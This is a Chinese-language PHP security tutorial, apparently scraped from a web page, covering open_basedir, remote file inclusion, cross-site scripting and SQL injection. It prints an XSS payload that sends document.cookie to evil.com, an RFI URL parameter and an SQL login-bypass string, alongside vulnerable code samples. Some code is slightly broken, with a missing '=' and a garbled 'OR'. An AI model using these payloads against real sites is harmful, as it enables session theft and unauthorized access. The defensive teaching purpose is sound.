百度一下。設定open_basedir後只有指定的目錄和子目錄下的php指令碼才會被執行。
用php讀取open_basedir以外的目錄或檔案會報錯
許可權不足
一般虛擬機器主機供應商都是設定為/tmp和/home
這是使用者習慣了,我們要想辦法解決這些問題了,下面總結了一些php安全問題。
1.include的時候要小心,要判斷你本地是否有這個檔案,以免造成安全性漏洞。
比如:
代碼如下 |
複製代碼 |
<?php include $module.'.php'; ?> |
這裡假設$module是function/42833.htm target=_blank >全域變數。
這個指令碼讓攻擊者有機會在你的伺服器上執行任何的php代碼,比如他在瀏覽器url後面加上?module=http://example.com/my就行了。當php接收到這個url的時候,指令碼中的"$module"變數的值將被設定為http://example.com/my。因此當php執行include的時候就很危險了......
解決辦法:關閉php.ini中的register_globals或include的時候判斷一下。
代碼如下 |
複製代碼 |
<?php if(file_exists($module.'.php')){ include $module.'.php'; } ?> |
2.跨站運行指令碼。
簡單的說是攻擊者可以在使用者的瀏覽器端執行一些用戶端的指令碼,例如js,然後盜取使用者的cookies或其他重要資料。
比如<script language='javaScript'>document.location=?'http://evil.com/cgi-bin/cookie.cgi?f='+document.cookie</script>
如果你點擊了按鈕,你本地的cookie資訊將會被發送的某個人的郵箱(由此可見你想做個盜取使用者資訊的網站是多麼容易)。
3.SQL注入
個人覺得是sql自身的靈活,易用給自己帶來的負面影響。
代碼如下 |
複製代碼 |
<?php $query "select login_id from users where user='$user' and pwd='$pw'"; mysql_query($query); ?> |
比如用人寫了
http://example.com/login.php?user=admin'%20OR%20(user='&pwd=')%20R%20user='
你的php代碼可能變成。
代碼如下 |
複製代碼 |
<?php $query = "select login_id from user where user='admin' or (user = '' and pwd='') or user=''"; mysql_query($query); ?> |
可以用函數進行過濾,過濾掉(') ("),()等等